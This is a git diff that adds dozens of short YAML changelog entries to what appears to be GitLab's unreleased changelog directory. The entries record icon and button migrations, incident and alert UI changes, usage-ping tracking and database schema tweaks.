diff --git a/changelogs/unreleased/225600-add-gzip-compression-to-discussion-diffs.yml b/changelogs/unreleased/225600-add-gzip-compression-to-discussion-diffs.yml
new file mode 100644
index 00000000000..1bffc63e47f
--- /dev/null
+++ b/changelogs/unreleased/225600-add-gzip-compression-to-discussion-diffs.yml
@@ -0,0 +1,5 @@
+---
+title: Apply GZip compression to discussion diffs
+merge_request: 40778
+author:
+type: performance
diff --git a/changelogs/unreleased/225656-package-detail-view-update-the-order-of-the-header-metadata-to-imp.yml b/changelogs/unreleased/225656-package-detail-view-update-the-order-of-the-header-metadata-to-imp.yml
new file mode 100644
index 00000000000..8f025d6f7de
--- /dev/null
+++ b/changelogs/unreleased/225656-package-detail-view-update-the-order-of-the-header-metadata-to-imp.yml
@@ -0,0 +1,5 @@
+---
+title: Update order of the Header Metadata in Package details
+merge_request: 39585
+author:
+type: changed
diff --git a/changelogs/unreleased/225819-combine-alert-overview-details.yml b/changelogs/unreleased/225819-combine-alert-overview-details.yml
new file mode 100644
index 00000000000..1641a7fd247
--- /dev/null
+++ b/changelogs/unreleased/225819-combine-alert-overview-details.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Combine the Overview and Alert Detail sections
+merge_request: 39714
+author:
+type: changed
diff --git a/changelogs/unreleased/225820-create-system-note-alert.yml b/changelogs/unreleased/225820-create-system-note-alert.yml
new file mode 100644
index 00000000000..3c088c25977
--- /dev/null
+++ b/changelogs/unreleased/225820-create-system-note-alert.yml
@@ -0,0 +1,5 @@
+---
+title: Add a system note on Alert creation
+merge_request: 40128
+author:
+type: added
diff --git a/changelogs/unreleased/225888-replace-fa-download-icon-with-gitlab-svg-download-icon.yml b/changelogs/unreleased/225888-replace-fa-download-icon-with-gitlab-svg-download-icon.yml
new file mode 100644
index 00000000000..ef9d938639f
--- /dev/null
+++ b/changelogs/unreleased/225888-replace-fa-download-icon-with-gitlab-svg-download-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-download icon with GitLab SVG download icon
+merge_request: 39849
+author:
+type: changed
diff --git a/changelogs/unreleased/225926-replace-fa-tag-and-sidebar-icons.yml b/changelogs/unreleased/225926-replace-fa-tag-and-sidebar-icons.yml
new file mode 100644
index 00000000000..832a5646471
--- /dev/null
+++ b/changelogs/unreleased/225926-replace-fa-tag-and-sidebar-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-tag(s) icons with GitLab SVG icons
+merge_request: 38979
+author:
+type: changed
diff --git a/changelogs/unreleased/225926-replace-fa-tag-s-icons-with-gitlab-svg-icons.yml b/changelogs/unreleased/225926-replace-fa-tag-s-icons-with-gitlab-svg-icons.yml
new file mode 100644
index 00000000000..eee4518a4e7
--- /dev/null
+++ b/changelogs/unreleased/225926-replace-fa-tag-s-icons-with-gitlab-svg-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-trash icons with GitLab SVG remove icon
+merge_request: 40579
+author:
+type: changed
diff --git a/changelogs/unreleased/225932-replace-fa-arrow-icons-with-gitlab-svg-arrow-icons.yml b/changelogs/unreleased/225932-replace-fa-arrow-icons-with-gitlab-svg-arrow-icons.yml
new file mode 100644
index 00000000000..2c0d83117c8
--- /dev/null
+++ b/changelogs/unreleased/225932-replace-fa-arrow-icons-with-gitlab-svg-arrow-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-arrow-* with GitLab SVG icons
+merge_request: 41158
+author:
+type: changed
diff --git a/changelogs/unreleased/225935-replace-fa-exclamation-circle-icons-with-gitlab-svg-error-icon.yml b/changelogs/unreleased/225935-replace-fa-exclamation-circle-icons-with-gitlab-svg-error-icon.yml
new file mode 100644
index 00000000000..b8374b50c95
--- /dev/null
+++ b/changelogs/unreleased/225935-replace-fa-exclamation-circle-icons-with-gitlab-svg-error-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-exclamation-circle and fa-lightbulb-o with GitLab SVG icons
+merge_request: 40857
+author:
+type: changed
diff --git a/changelogs/unreleased/225936-replace-fa-user-s-icons-with-gitlab-svg-user-s-icon.yml b/changelogs/unreleased/225936-replace-fa-user-s-icons-with-gitlab-svg-user-s-icon.yml
new file mode 100644
index 00000000000..0077210064b
--- /dev/null
+++ b/changelogs/unreleased/225936-replace-fa-user-s-icons-with-gitlab-svg-user-s-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-user(s) icons with GitLab SVG user(s) icon
+merge_request: 39165
+author:
+type: changed
diff --git a/changelogs/unreleased/225939-replace-fa-bugs-icons-with-gitlab-svg-bug-icon.yml b/changelogs/unreleased/225939-replace-fa-bugs-icons-with-gitlab-svg-bug-icon.yml
new file mode 100644
index 00000000000..3c47daf4e25
--- /dev/null
+++ b/changelogs/unreleased/225939-replace-fa-bugs-icons-with-gitlab-svg-bug-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-bugs icons with GitLab SVG bug icon
+merge_request: 40273
+author:
+type: changed
diff --git a/changelogs/unreleased/225948-replace-fa-info-circle-icons-with-gitlab-svg-information-icon.yml b/changelogs/unreleased/225948-replace-fa-info-circle-icons-with-gitlab-svg-information-icon.yml
new file mode 100644
index 00000000000..39bb430d67b
--- /dev/null
+++ b/changelogs/unreleased/225948-replace-fa-info-circle-icons-with-gitlab-svg-information-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-info-circle icons with GitLab SVG information-o icon
+merge_request: 41721
+author:
+type: changed
diff --git a/changelogs/unreleased/225950-replace-fa-trash-and-fa-trash-o-icons-with-gitlab-svg-remove-icon.yml b/changelogs/unreleased/225950-replace-fa-trash-and-fa-trash-o-icons-with-gitlab-svg-remove-icon.yml
new file mode 100644
index 00000000000..d3886ab5c0a
--- /dev/null
+++ b/changelogs/unreleased/225950-replace-fa-trash-and-fa-trash-o-icons-with-gitlab-svg-remove-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace some fa-trash icons with GitLab SVG remove icon
+merge_request: 39991
+author:
+type: other
diff --git a/changelogs/unreleased/225950-replace-fa-trash-o-with-gitlab-svg-remove.yml b/changelogs/unreleased/225950-replace-fa-trash-o-with-gitlab-svg-remove.yml
new file mode 100644
index 00000000000..90086279c28
--- /dev/null
+++ b/changelogs/unreleased/225950-replace-fa-trash-o-with-gitlab-svg-remove.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-trash-o icons with GitLab SVG remove icon
+merge_request: 41748
+author:
+type: changed
diff --git a/changelogs/unreleased/225958-replace-fa-question-circle-icons-with-gitlab-svg-question-icon.yml b/changelogs/unreleased/225958-replace-fa-question-circle-icons-with-gitlab-svg-question-icon.yml
new file mode 100644
index 00000000000..fe5c57d8523
--- /dev/null
+++ b/changelogs/unreleased/225958-replace-fa-question-circle-icons-with-gitlab-svg-question-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-question-circle icons with GitLab SVG question-o icon
+merge_request: 41970
+author:
+type: changed
diff --git a/changelogs/unreleased/226989-remove-users-bio-column.yml b/changelogs/unreleased/226989-remove-users-bio-column.yml
new file mode 100644
index 00000000000..b565163359f
--- /dev/null
+++ b/changelogs/unreleased/226989-remove-users-bio-column.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unused users.bio database column
+merge_request: 40269
+author:
+type: other
diff --git a/changelogs/unreleased/227305-add-query-apdex-prometheus-metric-to-usage-ping.yml b/changelogs/unreleased/227305-add-query-apdex-prometheus-metric-to-usage-ping.yml
new file mode 100644
index 00000000000..06ec0a48064
--- /dev/null
+++ b/changelogs/unreleased/227305-add-query-apdex-prometheus-metric-to-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Add the Query Apdex Prometheus metric to usage ping
+merge_request: 39256
+author:
+type: other
diff --git a/changelogs/unreleased/227721-httpbasic-api-fuzzing-docs.yml b/changelogs/unreleased/227721-httpbasic-api-fuzzing-docs.yml
new file mode 100644
index 00000000000..b156a31de1c
--- /dev/null
+++ b/changelogs/unreleased/227721-httpbasic-api-fuzzing-docs.yml
@@ -0,0 +1,5 @@
+---
+title: Direct support for HTTP basic authentication in API Fuzzing
+merge_request: 42266
+author:
+type: changed
diff --git a/changelogs/unreleased/227929-metrics-dashboard-embeds-with-new-urls.yml b/changelogs/unreleased/227929-metrics-dashboard-embeds-with-new-urls.yml
new file mode 100644
index 00000000000..46f36353614
--- /dev/null
+++ b/changelogs/unreleased/227929-metrics-dashboard-embeds-with-new-urls.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Metrics dashboard embeds when using new URLs
+merge_request: 39876
+author:
+type: fixed
diff --git a/changelogs/unreleased/228657-version-bump-apollo_upload_server-gem.yml b/changelogs/unreleased/228657-version-bump-apollo_upload_server-gem.yml
new file mode 100644
index 00000000000..cd71e4bfbf6
--- /dev/null
+++ b/changelogs/unreleased/228657-version-bump-apollo_upload_server-gem.yml
@@ -0,0 +1,5 @@
+---
+title: Bug fix GraphQL file uploads accepting non-file input
+merge_request: 39763
+author:
+type: fixed
diff --git a/changelogs/unreleased/229046-iterations-charts-refactoring.yml b/changelogs/unreleased/229046-iterations-charts-refactoring.yml
new file mode 100644
index 00000000000..8b1ccd1ba4a
--- /dev/null
+++ b/changelogs/unreleased/229046-iterations-charts-refactoring.yml
@@ -0,0 +1,5 @@
+---
+title: Add index to resource_iteration_events for add actions
+merge_request: 41280
+author:
+type: other
diff --git a/changelogs/unreleased/229214-replace-LoadingButton-with-GlButton.yml b/changelogs/unreleased/229214-replace-LoadingButton-with-GlButton.yml
new file mode 100644
index 00000000000..3d14795226a
--- /dev/null
+++ b/changelogs/unreleased/229214-replace-LoadingButton-with-GlButton.yml
@@ -0,0 +1,5 @@
+---
+title: Replace LoadingButton with GlButton for the comment dismissal modal
+merge_request: 40882
+author:
+type: performance
diff --git a/changelogs/unreleased/229215-replace-loadingbutton-with-gitlab-ui-s-glbutton-in-app-assets-java.yml b/changelogs/unreleased/229215-replace-loadingbutton-with-gitlab-ui-s-glbutton-in-app-assets-java.yml
new file mode 100644
index 00000000000..de501a061dd
--- /dev/null
+++ b/changelogs/unreleased/229215-replace-loadingbutton-with-gitlab-ui-s-glbutton-in-app-assets-java.yml
@@ -0,0 +1,5 @@
+---
+title: Replacing deprecated buttons and loading buttons with new buttons
+merge_request: 40163
+author:
+type: other
diff --git a/changelogs/unreleased/229223-save-jira-server-type-on-test.yml b/changelogs/unreleased/229223-save-jira-server-type-on-test.yml
new file mode 100644
index 00000000000..2ce3efe0dbd
--- /dev/null
+++ b/changelogs/unreleased/229223-save-jira-server-type-on-test.yml
@@ -0,0 +1,5 @@
+---
+title: Store deployment_type of Jira server in jira_tracker_data table
+merge_request: 37003
+author:
+type: changed
diff --git a/changelogs/unreleased/229266-mlunoe-analytics-filter-module-list-values-follow-up.yml b/changelogs/unreleased/229266-mlunoe-analytics-filter-module-list-values-follow-up.yml
new file mode 100644
index 00000000000..312bcc5fea3
--- /dev/null
+++ b/changelogs/unreleased/229266-mlunoe-analytics-filter-module-list-values-follow-up.yml
@@ -0,0 +1,6 @@
+---
+title: Fixed an issue where not all URL query parameters would apply to the filter
+ bar on initial load in the Value Stream Analytics page
+merge_request: 40975
+author:
+type: fixed
diff --git a/changelogs/unreleased/229296-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml b/changelogs/unreleased/229296-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml
new file mode 100644
index 00000000000..11de8081fee
--- /dev/null
+++ b/changelogs/unreleased/229296-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate Bootstrap button to GitLab UI GlButton in mr_widget_failed_to_merge
+merge_request: 40170
+author:
+type: other
diff --git a/changelogs/unreleased/229297-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-ee-app-assets-ja.yml b/changelogs/unreleased/229297-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-ee-app-assets-ja.yml
new file mode 100644
index 00000000000..82edc6a1ac3
--- /dev/null
+++ b/changelogs/unreleased/229297-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-ee-app-assets-ja.yml
@@ -0,0 +1,5 @@
+---
+title: GlButton migrations for pipeline security tab
+merge_request: 39651
+author:
+type: performance
diff --git a/changelogs/unreleased/229313-update-issue-edit-button.yml b/changelogs/unreleased/229313-update-issue-edit-button.yml
new file mode 100644
index 00000000000..63c2be55ff0
--- /dev/null
+++ b/changelogs/unreleased/229313-update-issue-edit-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update issue edit button to gl-button
+merge_request: 40438
+author:
+type: changed
diff --git a/changelogs/unreleased/229320-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml b/changelogs/unreleased/229320-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml
new file mode 100644
index 00000000000..1d41e6fa09c
--- /dev/null
+++ b/changelogs/unreleased/229320-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml
@@ -0,0 +1,5 @@
+---
+title: Migrating buttons and classes to match GitLab UI
+merge_request: 40409
+author:
+type: other
diff --git a/changelogs/unreleased/229336-diffs-collapsible-button.yml b/changelogs/unreleased/229336-diffs-collapsible-button.yml
new file mode 100644
index 00000000000..3acd1f467a4
--- /dev/null
+++ b/changelogs/unreleased/229336-diffs-collapsible-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update commit toggle description button to gl-button
+merge_request: 40524
+author:
+type: changed
diff --git a/changelogs/unreleased/229342-update-issue-edit-buttons.yml b/changelogs/unreleased/229342-update-issue-edit-buttons.yml
new file mode 100644
index 00000000000..e8dfeeea298
--- /dev/null
+++ b/changelogs/unreleased/229342-update-issue-edit-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Update issue edit buttons
+merge_request: 40298
+author:
+type: changed
diff --git a/changelogs/unreleased/229402-incidents-severity-widget.yml b/changelogs/unreleased/229402-incidents-severity-widget.yml
new file mode 100644
index 00000000000..f2003681c45
--- /dev/null
+++ b/changelogs/unreleased/229402-incidents-severity-widget.yml
@@ -0,0 +1,5 @@
+---
+title: Incident severity widget
+merge_request: 39859
+author:
+type: added
diff --git a/changelogs/unreleased/229636-incident-empty-state-polish.yml b/changelogs/unreleased/229636-incident-empty-state-polish.yml
new file mode 100644
index 00000000000..425c3d22ad9
--- /dev/null
+++ b/changelogs/unreleased/229636-incident-empty-state-polish.yml
@@ -0,0 +1,5 @@
+---
+title: Update empty state behavior for incidents list
+merge_request: 40872
+author:
+type: other
diff --git a/changelogs/unreleased/229903-audit-events-post-backfill-migration.yml b/changelogs/unreleased/229903-audit-events-post-backfill-migration.yml
new file mode 100644
index 00000000000..00729781b61
--- /dev/null
+++ b/changelogs/unreleased/229903-audit-events-post-backfill-migration.yml
@@ -0,0 +1,5 @@
+---
+title: Migration to cleanup after partitioned audit_events backfill
+merge_request: 41605
+author:
+type: added
diff --git a/changelogs/unreleased/229918_systemnote_aggregate_counts.yml b/changelogs/unreleased/229918_systemnote_aggregate_counts.yml
new file mode 100644
index 00000000000..c62eec3e2c6
--- /dev/null
+++ b/changelogs/unreleased/229918_systemnote_aggregate_counts.yml
@@ -0,0 +1,5 @@
+---
+title: Add Issue actions to UsageData
+merge_request: 40904
+author:
+type: other
diff --git a/changelogs/unreleased/229968-remove-milesone-incidents.yml b/changelogs/unreleased/229968-remove-milesone-incidents.yml
new file mode 100644
index 00000000000..7496f8b8336
--- /dev/null
+++ b/changelogs/unreleased/229968-remove-milesone-incidents.yml
@@ -0,0 +1,5 @@
+---
+title: "Remove milestone and iteration feature from Incidents sidebar"
+merge_request: 40283
+author:
+type: other
diff --git a/changelogs/unreleased/229970-time-tracking-incident.yml b/changelogs/unreleased/229970-time-tracking-incident.yml
new file mode 100644
index 00000000000..9ee1ea84e8d
--- /dev/null
+++ b/changelogs/unreleased/229970-time-tracking-incident.yml
@@ -0,0 +1,5 @@
+---
+title: Remove time tracking from incidents sidebar
+merge_request: 39837
+author:
+type: changed
diff --git a/changelogs/unreleased/230437-usage-data-optimize-counts-terraform_reports.yml b/changelogs/unreleased/230437-usage-data-optimize-counts-terraform_reports.yml
new file mode 100644
index 00000000000..a8b7c06937f
--- /dev/null
+++ b/changelogs/unreleased/230437-usage-data-optimize-counts-terraform_reports.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize counts.terraform_reports usage ping counter
+merge_request: 39499
+author:
+type: performance
diff --git a/changelogs/unreleased/230452-truncate-job-title.yml b/changelogs/unreleased/230452-truncate-job-title.yml
new file mode 100644
index 00000000000..91324a83f5f
--- /dev/null
+++ b/changelogs/unreleased/230452-truncate-job-title.yml
@@ -0,0 +1,5 @@
+---
+title: Truncate job title on log page
+merge_request: 40107
+author:
+type: changed
diff --git a/changelogs/unreleased/230572-display-alert-number-in-list.yml b/changelogs/unreleased/230572-display-alert-number-in-list.yml
new file mode 100644
index 00000000000..80acd9b8a03
--- /dev/null
+++ b/changelogs/unreleased/230572-display-alert-number-in-list.yml
@@ -0,0 +1,5 @@
+---
+title: Add Alert Id to Alert list view
+merge_request: 39706
+author:
+type: changed
diff --git a/changelogs/unreleased/230835-add-index-of-merge_request_id-on-approval-merge-request-rules-tabl.yml b/changelogs/unreleased/230835-add-index-of-merge_request_id-on-approval-merge-request-rules-tabl.yml
new file mode 100644
index 00000000000..a387a47164a
--- /dev/null
+++ b/changelogs/unreleased/230835-add-index-of-merge_request_id-on-approval-merge-request-rules-tabl.yml
@@ -0,0 +1,5 @@
+---
+title: Add index on merge_request_id to approval_merge_request_rules
+merge_request: 40556
+author:
+type: other
diff --git a/changelogs/unreleased/230835-drop-code_owner-column-from-approvalmergerequestrule.yml b/changelogs/unreleased/230835-drop-code_owner-column-from-approvalmergerequestrule.yml
new file mode 100644
index 00000000000..81a96054c54
--- /dev/null
+++ b/changelogs/unreleased/230835-drop-code_owner-column-from-approvalmergerequestrule.yml
@@ -0,0 +1,5 @@
+---
+title: Drop code_owner column from approval_merge_request_rules
+merge_request: 40322
+author:
+type: other
diff --git a/changelogs/unreleased/230857-incident-type-selector-help.yml b/changelogs/unreleased/230857-incident-type-selector-help.yml
new file mode 100644
index 00000000000..34541958b2f
--- /dev/null
+++ b/changelogs/unreleased/230857-incident-type-selector-help.yml
@@ -0,0 +1,4 @@
+title: Add help text to incident type select on new issue form
+merge_request: 41567
+author:
+type: changed
diff --git a/changelogs/unreleased/230857-incident-type-selector.yml b/changelogs/unreleased/230857-incident-type-selector.yml
new file mode 100644
index 00000000000..6ccbdf4c9fc
--- /dev/null
+++ b/changelogs/unreleased/230857-incident-type-selector.yml
@@ -0,0 +1,5 @@
+---
+title: Add type selector dropdown to new issue form
+merge_request: 40981
+author:
+type: changed
diff --git a/changelogs/unreleased/230980-severity-in-incident-list.yml b/changelogs/unreleased/230980-severity-in-incident-list.yml
new file mode 100644
index 00000000000..881452abf4b
--- /dev/null
+++ b/changelogs/unreleased/230980-severity-in-incident-list.yml
@@ -0,0 +1,5 @@
+---
+title: Surface incident severity and icon in the Incident List table
+merge_request: 40112
+author:
+type: added
diff --git a/changelogs/unreleased/231238-adjust-badge-key-limits.yml b/changelogs/unreleased/231238-adjust-badge-key-limits.yml
new file mode 100644
index 00000000000..94149f49287
--- /dev/null
+++ b/changelogs/unreleased/231238-adjust-badge-key-limits.yml
@@ -0,0 +1,5 @@
+---
+title: Adjust badge key text and width limits
+merge_request: 40199
+author: Fabian Schneider @fabsrc
+type: changed
diff --git a/changelogs/unreleased/231344-json-result-for-project-pipeline-create.yml b/changelogs/unreleased/231344-json-result-for-project-pipeline-create.yml
new file mode 100644
index 00000000000..e3052763a37
--- /dev/null
+++ b/changelogs/unreleased/231344-json-result-for-project-pipeline-create.yml
@@ -0,0 +1,5 @@
+---
+title: Implement JSON response for project/pipelines create
+merge_request: 39839
+author:
+type: other
diff --git a/changelogs/unreleased/231463-gitlab-ci-aws-eks-integration-kubernetes-version-update.yml b/changelogs/unreleased/231463-gitlab-ci-aws-eks-integration-kubernetes-version-update.yml
new file mode 100644
index 00000000000..054eea85a6d
--- /dev/null
+++ b/changelogs/unreleased/231463-gitlab-ci-aws-eks-integration-kubernetes-version-update.yml
@@ -0,0 +1,5 @@
+---
+title: Update EKS Kubernetes versions
+merge_request: 38644
+author:
+type: fixed
diff --git a/changelogs/unreleased/232636-add-support-for-fixing-composer-404.yml b/changelogs/unreleased/232636-add-support-for-fixing-composer-404.yml
new file mode 100644
index 00000000000..775268e3af9
--- /dev/null
+++ b/changelogs/unreleased/232636-add-support-for-fixing-composer-404.yml
@@ -0,0 +1,5 @@
+---
+title: Fix composer 404 issues with http auth
+merge_request: 38641
+author:
+type: fixed
diff --git a/changelogs/unreleased/232765-make-daemon-memory-killer-default-for-sidekiq.yml b/changelogs/unreleased/232765-make-daemon-memory-killer-default-for-sidekiq.yml
new file mode 100644
index 00000000000..421dba96371
--- /dev/null
+++ b/changelogs/unreleased/232765-make-daemon-memory-killer-default-for-sidekiq.yml
@@ -0,0 +1,5 @@
+---
+title: Make Daemon Memory Killer be the default for Sidekiq
+merge_request: 41847
+author:
+type: other
diff --git a/changelogs/unreleased/232786-reinstate-60s-timeout.yml b/changelogs/unreleased/232786-reinstate-60s-timeout.yml
new file mode 100644
index 00000000000..31799de9cf1
--- /dev/null
+++ b/changelogs/unreleased/232786-reinstate-60s-timeout.yml
@@ -0,0 +1,5 @@
+---
+title: Reinstate 60s timeout in Cluster Prometheus
+merge_request: 39595
+author:
+type: other
diff --git a/changelogs/unreleased/232824-fj-track-unique-virtual-actions.yml b/changelogs/unreleased/232824-fj-track-unique-virtual-actions.yml
new file mode 100644
index 00000000000..d7ee320a3ba
--- /dev/null
+++ b/changelogs/unreleased/232824-fj-track-unique-virtual-actions.yml
@@ -0,0 +1,5 @@
+---
+title: Add virtual actions tracker for Usage Ping
+merge_request: 39694
+author:
+type: added
diff --git a/changelogs/unreleased/232839-fj-track-unique-edit-web-ide-action.yml b/changelogs/unreleased/232839-fj-track-unique-edit-web-ide-action.yml
new file mode 100644
index 00000000000..8ebdb49ffc4
--- /dev/null
+++ b/changelogs/unreleased/232839-fj-track-unique-edit-web-ide-action.yml
@@ -0,0 +1,5 @@
+---
+title: Track unique web ide edit action for usage ping
+merge_request: 40246
+author:
+type: changed
diff --git a/changelogs/unreleased/232840-fj-track-sfe-actions.yml b/changelogs/unreleased/232840-fj-track-sfe-actions.yml
new file mode 100644
index 00000000000..6e32187e941
--- /dev/null
+++ b/changelogs/unreleased/232840-fj-track-sfe-actions.yml
@@ -0,0 +1,5 @@
+---
+title: Track SFE actions in BlobController
+merge_request: 40846
+author:
+type: changed
diff --git a/changelogs/unreleased/232841-fj-track-snippet-edit-events.yml b/changelogs/unreleased/232841-fj-track-snippet-edit-events.yml
new file mode 100644
index 00000000000..9ee49bef669
--- /dev/null
+++ b/changelogs/unreleased/232841-fj-track-snippet-edit-events.yml
@@ -0,0 +1,5 @@
+---
+title: Track snippet editor actions
+merge_request: 40277
+author:
+type: changed
diff --git a/changelogs/unreleased/232844-fj-add-ide-actions-usage-data.yml b/changelogs/unreleased/232844-fj-add-ide-actions-usage-data.yml
new file mode 100644
index 00000000000..90878f07547
--- /dev/null
+++ b/changelogs/unreleased/232844-fj-add-ide-actions-usage-data.yml
@@ -0,0 +1,5 @@
+---
+title: Add IDE edit actions to Usage Data
+merge_request: 40939
+author:
+type: changed
diff --git a/changelogs/unreleased/233002-diff-file-input-cutoff.yml b/changelogs/unreleased/233002-diff-file-input-cutoff.yml
new file mode 100644
index 00000000000..018c3d0ef0a
--- /dev/null
+++ b/changelogs/unreleased/233002-diff-file-input-cutoff.yml
@@ -0,0 +1,5 @@
+---
+title: Fix file file input top position cutoff
+merge_request: 40634
+author:
+type: fixed
diff --git a/changelogs/unreleased/233109-drop-feature-flag.yml b/changelogs/unreleased/233109-drop-feature-flag.yml
new file mode 100644
index 00000000000..fe95ed27944
--- /dev/null
+++ b/changelogs/unreleased/233109-drop-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Stricter default timeouts for outgoing HTTP requests
+merge_request: 39188
+author:
+type: other
diff --git a/changelogs/unreleased/233240-search-result-title-update.yml b/changelogs/unreleased/233240-search-result-title-update.yml
new file mode 100644
index 00000000000..ab8a7a83551
--- /dev/null
+++ b/changelogs/unreleased/233240-search-result-title-update.yml
@@ -0,0 +1,5 @@
+---
+title: Global Search - Redesign Issue Results Title
+merge_request: 41016
+author:
+type: changed
diff --git a/changelogs/unreleased/233301-search-markdown-rendering-queries.yml b/changelogs/unreleased/233301-search-markdown-rendering-queries.yml
new file mode 100644
index 00000000000..901a6e747a1
--- /dev/null
+++ b/changelogs/unreleased/233301-search-markdown-rendering-queries.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize markdown rendering in search results
+merge_request: 39833
+author:
+type: performance
diff --git a/changelogs/unreleased/233425-add-artifact-expiration-help-url.yml b/changelogs/unreleased/233425-add-artifact-expiration-help-url.yml
new file mode 100644
index 00000000000..1876b2c6812
--- /dev/null
+++ b/changelogs/unreleased/233425-add-artifact-expiration-help-url.yml
@@ -0,0 +1,5 @@
+---
+title: Add the artifact expiration help url
+merge_request: 39546
+author: Gilang Gumilar
+type: added
diff --git a/changelogs/unreleased/233455-destroy-board-graphql.yml b/changelogs/unreleased/233455-destroy-board-graphql.yml
new file mode 100644
index 00000000000..10b8ae86c30
--- /dev/null
+++ b/changelogs/unreleased/233455-destroy-board-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Destroy issue board via GraphQL
+merge_request: 40930
+author:
+type: added
diff --git a/changelogs/unreleased/233475-source-branch-dropdown-empty.yml b/changelogs/unreleased/233475-source-branch-dropdown-empty.yml
new file mode 100644
index 00000000000..5fed11ec057
--- /dev/null
+++ b/changelogs/unreleased/233475-source-branch-dropdown-empty.yml
@@ -0,0 +1,5 @@
+---
+title: Show default message in branch selection if none selected
+merge_request: 41211
+author: Jonston Chan
+type: fixed
diff --git a/changelogs/unreleased/233507-set-not-null-on-mr-metrics-target-project-id.yml b/changelogs/unreleased/233507-set-not-null-on-mr-metrics-target-project-id.yml
new file mode 100644
index 00000000000..d9b48bd92b6
--- /dev/null
+++ b/changelogs/unreleased/233507-set-not-null-on-mr-metrics-target-project-id.yml
@@ -0,0 +1,5 @@
+---
+title: Add NOT NULL constraint to merge_request_metrics.target_project_id
+merge_request: 40836
+author:
+type: other
diff --git a/changelogs/unreleased/233649-replace-bootstrap-alerts-in-app-views-admin-groups-_form-html-haml.yml b/changelogs/unreleased/233649-replace-bootstrap-alerts-in-app-views-admin-groups-_form-html-haml.yml
new file mode 100644
index 00000000000..bd41506a1b9
--- /dev/null
+++ b/changelogs/unreleased/233649-replace-bootstrap-alerts-in-app-views-admin-groups-_form-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/admin/groups/_form.html.haml
+merge_request: 41375
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233652-replace-bootstrap-alerts-in-ee-app-views-groups-push_rules-edit-ht.yml b/changelogs/unreleased/233652-replace-bootstrap-alerts-in-ee-app-views-groups-push_rules-edit-ht.yml
new file mode 100644
index 00000000000..2ce9223cb9d
--- /dev/null
+++ b/changelogs/unreleased/233652-replace-bootstrap-alerts-in-ee-app-views-groups-push_rules-edit-ht.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in ee/app/views/groups/push_rules/edit.html.haml
+merge_request: 41069
+author: Jacopo Beschi @jacopo-beschi
+type: changed
diff --git a/changelogs/unreleased/233653-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-_repeat_tr.yml b/changelogs/unreleased/233653-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-_repeat_tr.yml
new file mode 100644
index 00000000000..21904b2e7ec
--- /dev/null
+++ b/changelogs/unreleased/233653-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-_repeat_tr.yml
@@ -0,0 +1,5 @@
+---
+title: Removes unused classes on initial Ci::Ref implementation
+merge_request: 41077
+author: Jacopo Beschi @jacopo-beschi
+type: removed
diff --git a/changelogs/unreleased/233659-replace-bootstrap-alerts-in-app-views-projects-merge_requests-_mr_.yml b/changelogs/unreleased/233659-replace-bootstrap-alerts-in-app-views-projects-merge_requests-_mr_.yml
new file mode 100644
index 00000000000..100c84b5f53
--- /dev/null
+++ b/changelogs/unreleased/233659-replace-bootstrap-alerts-in-app-views-projects-merge_requests-_mr_.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/projects/merge_requests/_mr_title.html.haml
+merge_request: 41399
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233665-replace-bootstrap-alerts-in-app-views-shared-_no_password-html-ham.yml b/changelogs/unreleased/233665-replace-bootstrap-alerts-in-app-views-shared-_no_password-html-ham.yml
new file mode 100644
index 00000000000..8bc251bf072
--- /dev/null
+++ b/changelogs/unreleased/233665-replace-bootstrap-alerts-in-app-views-shared-_no_password-html-ham.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/shared/_no_password.html.haml
+merge_request: 41397
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233666-replace-bootstrap-alerts-in-app-views-projects-pages-_access-html-.yml b/changelogs/unreleased/233666-replace-bootstrap-alerts-in-app-views-projects-pages-_access-html-.yml
new file mode 100644
index 00000000000..94f5a4ab4b0
--- /dev/null
+++ b/changelogs/unreleased/233666-replace-bootstrap-alerts-in-app-views-projects-pages-_access-html-.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/projects/pages/_access.html.haml
+merge_request: 41360
+author: Gilang Gumilar
+type: changed
